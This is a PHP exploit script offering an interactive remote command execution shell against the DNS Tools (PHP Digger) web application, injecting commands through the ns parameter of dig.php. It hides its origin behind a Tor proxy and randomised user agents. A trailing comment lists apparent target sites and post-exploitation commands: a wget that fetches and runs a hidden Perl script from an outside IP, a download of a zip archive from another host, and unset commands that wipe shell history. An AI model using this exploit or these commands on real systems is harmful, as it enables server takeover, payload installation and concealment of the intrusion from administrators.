DNS Tools PHP Digger Interactive Shell

`<?php  
/*   
* DNS Tools (PHP Digger) Remote Command Execution (Interactive Shell)  
*   
* Author: Ricardo Almeida  
* email: ricardojba[at]aeiou[DoT]pt  
*  
* Credits: www.mortal-team.org  
*   
*/   
  
function wrap($url){  
$ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver','Chrome');  
$op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX','Windows 7','Windows Vista');  
$agent = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';  
# tor or other proxy  
$tor = '127.0.0.1:8118';  
$timeout = '300';  
$ack = curl_init();   
curl_setopt ($ack, CURLOPT_PROXY, $tor);   
curl_setopt ($ack, CURLOPT_URL, $url);  
curl_setopt ($ack, CURLOPT_HEADER, 1);   
curl_setopt ($ack, CURLOPT_USERAGENT, $agent);   
curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1);   
curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);  
curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);  
$syn = curl_exec($ack);  
$info = curl_getinfo($ack);  
curl_close($ack);   
  
if($info['http_code'] == '200') {  
return $syn;  
die();  
} else {  
return "Fail! :".$info['http_code']."\r\n";  
}  
}  
  
if ($argc != 2) {die("Usage: dnstools.php <host>\n");}  
array_shift($argv);  
$host = $argv[0];  
  
# Start the interactive shell  
while(1){  
fwrite(STDOUT, "[shell:~ # ");  
$cmd = trim(fgets(STDIN));  
if ($cmd == "exit"){die();}  
else {  
$attackurl = "http://".$host."/dig.php?ns=||".$cmd."||&host=mortal-team.net&query_type=NS&status=digging";  
echo wrap($attackurl);  
}  
}  
  
/*   
  
  
opencrest.com/scripts/dnstools  
www.taraservices.net/DNS_Tools  
  
  
cd /var/tmp;wget -P/var/tmp http://195.23.32.146/fotos/docs/.log.pl;chmod +x .log.pl;./.log.pl  
  
cd /var/tmp;./.log.pl  
  
cd /var/tmp;wget http://88.157.89.41:81/htdocs.zip  
  
unset HISTSAVE  
unset HISTFILE  
unset HISTFILESIZE  
unset HISTORY  
unset HISTSIZE  
unset HISTZONE  
*/  
?>  
  
  
  
  
`